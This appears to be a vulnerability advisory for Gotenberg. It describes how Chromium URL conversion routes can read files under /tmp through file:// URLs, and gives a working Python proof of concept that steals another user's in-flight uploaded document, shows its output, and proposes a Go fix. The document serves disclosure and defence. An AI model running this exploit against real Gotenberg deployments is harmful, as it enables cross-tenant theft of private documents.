Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme

Proof of Concept

Reproduction uses the stock Docker image with no auth:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):

import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"

bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()

def bob_runs():
    requests.post(
        f"{TARGET}/forms/chromium/convert/html",
        files={"files": ("index.html", bob_html, "text/html")},
        data={"waitDelay": "15s"},
        timeout=60,
    )

def alice_reads(url):
    r = requests.post(
        f"{TARGET}/forms/chromium/convert/url",
        files={"url": (None, url)}, timeout=30,
    )
    if r.status_code != 200: return None
    open("/tmp/_alice.pdf", "wb").write(r.content)
    return subprocess.run(
        ["pdftotext", "/tmp/_alice.pdf", "-"],
        capture_output=True, text=True,
    ).stdout

threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)

# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)

# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
    if req == work: continue
    rd = alice_reads(f"file:///tmp/{work}/{req}/")
    if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
        # Step 3: read bob's uploaded HTML
        txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
        print("SECRET recovered:", SECRET in txt)
        break

# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
    files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}")  # 403 Forbidden

Output against gotenberg 8.31.0:

SECRET recovered: True
/etc/passwd probe: HTTP 403

file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.

Impact

An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.

The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.

Recommended Fix

Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:

if allow && strings.HasPrefix(e.Request.URL, "file://") {
    if len(options.allowedFilePrefixes) == 0 {
        allow = false
    } else {
        prefixMatch := false
        for _, prefix := range options.allowedFilePrefixes {
            if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
                prefixMatch = true
                break
            }
        }
        if !prefixMatch {
            allow = false
        }
    }
}

Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.

Found by aisafe.io